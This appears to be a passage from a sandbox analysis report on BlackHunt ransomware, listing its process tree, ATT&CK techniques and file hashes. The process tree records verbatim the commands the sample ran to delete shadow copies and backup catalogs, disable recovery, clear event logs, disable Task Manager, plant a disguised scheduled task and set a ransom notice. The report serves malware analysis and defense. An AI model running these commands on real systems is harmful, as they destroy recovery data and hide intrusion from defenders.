  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe" /F
  2⤵
  PID:1696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:540
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:488
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:564
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1304
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:600
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2420
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1828
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1160
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1888
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2704
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1972
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2660
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1100
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2952
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2508
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2644
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1756
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1680
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:656
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3124
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3144
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe"
  2⤵
  - Deletes itself
  PID:3388
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3384
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3372
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3364
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3556

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1224

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2864

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2276

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2840

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
1544b8f7ca16042245f6d3e0ea01e95f

SHA1
8c865659617b47ae8d19af1efea675450921a29a

SHA256
b8c957c85019d715b5185f59750c4380d90a21600ddfdaffaa02fb7764564997

SHA512
b3a52b838771d62a876390d7ecb73f102242cf5fccca9eade5a9f616c476e0e60a15421150c74283aab3a258d1b91cf82ac95317a9c7caa07943b8844b7abdb3

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
e03b190699efba56e15ad87fe11b5a0e

SHA1
7ea183538bf1f5f418e52b773cee7deb9ef77ede

SHA256
9955949397f27139ee5402294626cb4cc4c34215ba3d62d21a26d056136ce6b2

SHA512
fc129809b5dce8bec6dfc304cb33b31bccd1a7ec2f6aebfca42c445696637e05f07d441d1ab89f3b8b61fb25d03ce089c0982df857356dab86f3788b4973f95e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
54e5d2bd72fdbb2c48d6288e10bcb315

SHA1
407afdb822ff8a568057c0fd2d6ee816541d5d4c

SHA256
ff50a16882e0ff07f33e8798aaae74dffe36aab24b588ad01a3c4a2a8d082f2f

SHA512
1fde1287506711e0b1f0ead9358dc690807429b89c657345fb2106e0be123ceead48c736b445cb50d205952f2953c98effb923a7ee27679d5cd4dbb895bd35fd

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads